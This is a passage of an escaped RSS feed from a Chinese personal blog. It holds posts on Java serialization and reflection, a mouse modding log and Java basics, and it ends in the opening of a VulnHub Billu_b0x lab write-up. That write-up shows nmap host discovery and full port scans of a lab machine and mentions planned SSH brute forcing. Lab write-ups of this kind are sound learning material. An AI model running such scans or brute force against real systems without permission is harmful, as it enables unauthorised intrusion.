class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;mio&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;serialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;---序列化完毕---&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;---开始反序列化---&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;People&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;p2&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;People&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unserialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;ser.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;分析一下时实现过程：&lt;/p&gt;</description></item><item><title>java反射机制</title><link>http://blog.foreverwl.top/blog/java%E5%8F%8D%E5%B0%84/</link><pubDate>Thu, 22 Feb 2024 14:32:09 +0800</pubDate><guid>http://blog.foreverwl.top/blog/java%E5%8F%8D%E5%B0%84/</guid><description>&lt;h2 id="反射概念"&gt;&#10; 反射概念&lt;a class="heading-anchor" href="#%e5%8f%8d%e5%b0%84%e6%a6%82%e5%bf%b5" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="class类"&gt;&#10; Class类&lt;a class="heading-anchor" href="#class%e7%b1%bb" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;在 &lt;code&gt;java&lt;/code&gt; 世界里，一切皆对象。从某种意义上来说，&lt;code&gt;java&lt;/code&gt; 有两种对象：实例对象和 &lt;code&gt;Class&lt;/code&gt; 对象。每个类的运行时的&lt;strong&gt;类型信息&lt;/strong&gt;就是用 &lt;code&gt;Class&lt;/code&gt; 对象表示的，它包含了与类有关的信息，实例对象就是通过 &lt;code&gt;Class&lt;/code&gt; 对象来创建的。&lt;code&gt;Java&lt;/code&gt; 使用 &lt;code&gt;Class&lt;/code&gt; 对象执行其 &lt;code&gt;RTTI&lt;/code&gt; (运行时类型识别，Run-Time Type Identification)，多态就是基于 &lt;code&gt;RTTI&lt;/code&gt; 实现的。&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Class类存在于JDK的java.lang包中&lt;/li&gt;&#10;&lt;li&gt;Class类也是继承object类&lt;/li&gt;&#10;&lt;li&gt;Class类对象是系统创建的（类 是Class类的一个对象）&lt;/li&gt;&#10;&lt;li&gt;一个类的Class对象只在内存中存在一份，类只需要加载一次（在类加载的时候，jvm会创建唯一的class对象）&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&#10;&#10;&#10;&lt;h2 id="获取class对象"&gt;&#10; 获取Class对象&lt;a class="heading-anchor" href="#%e8%8e%b7%e5%8f%96class%e5%af%b9%e8%b1%a1" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;除了int等基本类型外，java的其他类型全都是class。 class的本质是数据类型。&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;在反射中，我们如果想获取一个类或者调用一个类的方法，需要先获取这个类的Class对象。&lt;/p&gt;&#10;&lt;p&gt;而&lt;code&gt;class&lt;/code&gt;是由JVM在执行过程中动态加载的。JVM在第一次读取到一种&lt;code&gt;class&lt;/code&gt;类型时，将其加载进内存。每加载一种&lt;code&gt;class&lt;/code&gt;，JVM就为其创建一个&lt;code&gt;Class&lt;/code&gt;类型的实例，并关联起来&lt;/p&gt;&#10;&lt;p&gt;类加载:(类加载机制 后边再深入学习)&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401271554271.png" alt="image-20240127155444174" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401271554271.png" alt="image-20240127155444174"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;获取方式：&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;类名.class&lt;/li&gt;&#10;&lt;li&gt;对象.getClass()&lt;/li&gt;&#10;&lt;li&gt;Class.forName(全限定类名) //什么是全限定类名:包名.类名&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401271610678.png" alt="image-20240127161034590" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401271610678.png" alt="image-20240127161034590"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="forname有两个函数重载"&gt;&#10; forName有两个函数重载&lt;a class="heading-anchor" href="#forname%e6%9c%89%e4%b8%a4%e4%b8%aa%e5%87%bd%e6%95%b0%e9%87%8d%e8%bd%bd" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Class&lt;?&gt; forName(String name)&lt;/li&gt;&#10;&lt;li&gt;Class&lt;?&gt; forName(String name, &lt;strong&gt;boolean&lt;/strong&gt; initialize, ClassLoader loader)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;第一种是常见的获取class的方式&lt;/span&gt;&lt;span class="err"&gt;，&lt;/span&gt;&lt;span class="n"&gt;可以理解为第二种方式的一个封装&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;className&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// 等于&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;forName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;className&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;currentLoader&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;第一个参数为类名； 第二个参数表示是否初始化；第三个参数为ClassLoader（类加载器）&lt;/p&gt;</description></item><item><title>鼠标改装记录</title><link>http://blog.foreverwl.top/blog/%E9%BC%A0%E6%A0%87%E6%94%B9%E8%A3%85%E8%AE%B0%E5%BD%95/</link><pubDate>Tue, 23 Jan 2024 14:13:37 +0800</pubDate><guid>http://blog.foreverwl.top/blog/%E9%BC%A0%E6%A0%87%E6%94%B9%E8%A3%85%E8%AE%B0%E5%BD%95/</guid><description>&lt;h2 id="鼠标改装记录"&gt;&#10; 鼠标改装记录&lt;a class="heading-anchor" href="#%e9%bc%a0%e6%a0%87%e6%94%b9%e8%a3%85%e8%ae%b0%e5%bd%95" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;很早前就计划改一下喽，现在放假了 那就改一下吧。&lt;/p&gt;&#10;&lt;p&gt;gm3323d改装分享，emm，改装过程中学会了喷漆，焊电路板（之前工程实训学过）,鼠标对我完全够用，下边看成品吧(#.#)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;微动:凯华黑金曼巴&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;编码器:TTC金轮(11mm)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;喷漆:三和喷漆&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;光油:三和哑光油&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;底漆:pdd随便找的&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401232053249.jpg" alt="" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401232053249.jpg" alt=""&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401232053268.jpg" alt="" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401232053268.jpg" alt=""&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401232053976.jpg" alt="" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401232053976.jpg" alt=""&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401232053280.jpg" alt="" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202401232053280.jpg" alt=""&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>java基础(一)</title><link>http://blog.foreverwl.top/blog/java%E5%9F%BA%E7%A1%80%E4%B8%80/</link><pubDate>Wed, 13 Dec 2023 12:41:51 +0800</pubDate><guid>http://blog.foreverwl.top/blog/java%E5%9F%BA%E7%A1%80%E4%B8%80/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;java大一学的，学的很水。重学一下，打下基础。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="javaee"&gt;&#10; javaEE&lt;a class="heading-anchor" href="#javaee" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;javaEE:Java EE平台构建于Java SE平台之上，Java EE平台提供一组API和运行环境来开发和运行大规模的，多层的，可扩展的，可靠的和安全的网络应用程序。主要针对于web应用开发。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="java特点"&gt;&#10; java特点&lt;a class="heading-anchor" href="#java%e7%89%b9%e7%82%b9" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;java语言是面向对象的(oop)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;java语言是健全的。强类型机制，异常处理，垃圾回收(GC)机制。&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;java跨平台性。使用javac编译器生成的.class文件在不同操作系统都能够运行。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202312091354853.png" alt="image-20231209135444802" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202312091354853.png" alt="image-20231209135444802"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;java是&lt;code&gt;解释性&lt;/code&gt;语言。解释性语言:php,java,JavaScript 。编译性语言:c/c++&lt;/p&gt;&#10;&lt;p&gt;区别:&lt;code&gt;编译语言&lt;/code&gt;直接转换为处理器可以执行的机器代码，&lt;code&gt;解释性语言&lt;/code&gt;编译后的代码不能被处理器执行，需要解释器来执行。&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10;&#10;&#10;&lt;h3 id="jvm"&gt;&#10; JVM&lt;a class="heading-anchor" href="#jvm" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;java核心机制:java虚拟机(JVM)&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;jvm具有指令集并使用不同的存储区域。解释指令集(字节码文件)，管理数据，内存，寄存器。&lt;/li&gt;&#10;&lt;li&gt;不同的平台有不同的jvm(jvm映射规则不同)&lt;/li&gt;&#10;&lt;li&gt;一次编译，处处运行。&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&#10;&#10;&#10;&lt;h3 id="jdk"&gt;&#10; JDK&lt;a class="heading-anchor" href="#jdk" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;JDK:java开发工具包。是用来编译、调试Java程序的开发工具包。包括Java工具（javac/java/jdb等）和Java基础的类库（java API ）。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="jre"&gt;&#10; JRE&lt;a class="heading-anchor" href="#jre" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;JRE:java运行环境。是Java平台，所有的程序都要在JRE下才能够运行。包括JVM和Java核心类库和支持文件。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h4 id="关系"&gt;&#10; 关系&lt;a class="heading-anchor" href="#%e5%85%b3%e7%b3%bb" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;&lt;strong&gt;JDK = JRE +&lt;/strong&gt; &lt;strong&gt;开发工具集&lt;/strong&gt;（例如 Javac,java 编译工具等)&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;JRE = JVM + Java SE&lt;/strong&gt; &lt;strong&gt;标准类库&lt;/strong&gt;（java 核心类库）&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="面向对象"&gt;&#10; 面向对象&lt;a class="heading-anchor" href="#%e9%9d%a2%e5%90%91%e5%af%b9%e8%b1%a1" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="类与对象"&gt;&#10; 类与对象&lt;a class="heading-anchor" href="#%e7%b1%bb%e4%b8%8e%e5%af%b9%e8%b1%a1" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;如果说我养了两只猫，他们有不同的特征，比如一个白色的比较可爱，一个黑色比较捣蛋。&lt;/p&gt;</description></item><item><title>Billu_b0x打靶记录</title><link>http://blog.foreverwl.top/blog/billu_b0x/</link><pubDate>Sun, 26 Nov 2023 14:39:00 +0800</pubDate><guid>http://blog.foreverwl.top/blog/billu_b0x/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;最近有点迷茫，尝试一下学长推荐的一个经典的靶机。ps:第一次打靶机。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="准备"&gt;&#10; 准备&lt;a class="heading-anchor" href="#%e5%87%86%e5%a4%87" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;这里下载靶机镜像：&lt;a href="https://vulnhub.com/entry/billu-b0x,188/"&gt;billu: b0x ~ VulnHub&lt;/a&gt;&#10;导入创建靶机后，将网络设置为nat模式，和kali在同一个网段。&#10;网段:192.168.26.0/24&#10;kali：192.168.26.26&#10;网关: 192.168.26.2&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261846604.png" alt="image-20231126184619521" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261846604.png" alt="image-20231126184619521"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="开始"&gt;&#10; 开始&lt;a class="heading-anchor" href="#%e5%bc%80%e5%a7%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="信息收集"&gt;&#10; 信息收集&lt;a class="heading-anchor" href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&#10;&#10;&#10;&lt;h5 id="先找出靶机的ip"&gt;&#10; 先找出靶机的ip&lt;a class="heading-anchor" href="#%e5%85%88%e6%89%be%e5%87%ba%e9%9d%b6%e6%9c%ba%e7%9a%84ip" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h5&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;nmap&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;sP&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;26.0&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261851315.png" alt="image-20231126185145277" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261851315.png" alt="image-20231126185145277"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这个192.168.26.133应该就是靶机的ip了。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h5 id="端口扫描"&gt;&#10; 端口扫描&lt;a class="heading-anchor" href="#%e7%ab%af%e5%8f%a3%e6%89%ab%e6%8f%8f" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h5&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;nmap&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;min&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;rate&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;26.133&lt;/span&gt;&lt;span class="c1"&gt;#以最低速率 1w进行端口扫描 -p- 表示扫描所有端口&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;nmap&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nx"&gt;min&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;rate&lt;/span&gt; &lt;span class="mi"&gt;10000&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;p&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;65535&lt;/span&gt; &lt;span class="mf"&gt;192.168&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mf"&gt;26.133&lt;/span&gt; &lt;span class="c1"&gt;#一样效果&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261904435.png" alt="image-20231126190408396" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202311261904435.png" alt="image-20231126190408396"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以看到这里开放了22 ssh，和80 http服务。后面可以尝试ssh爆破。&#10;这里先访问www服务看看。&#10;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img 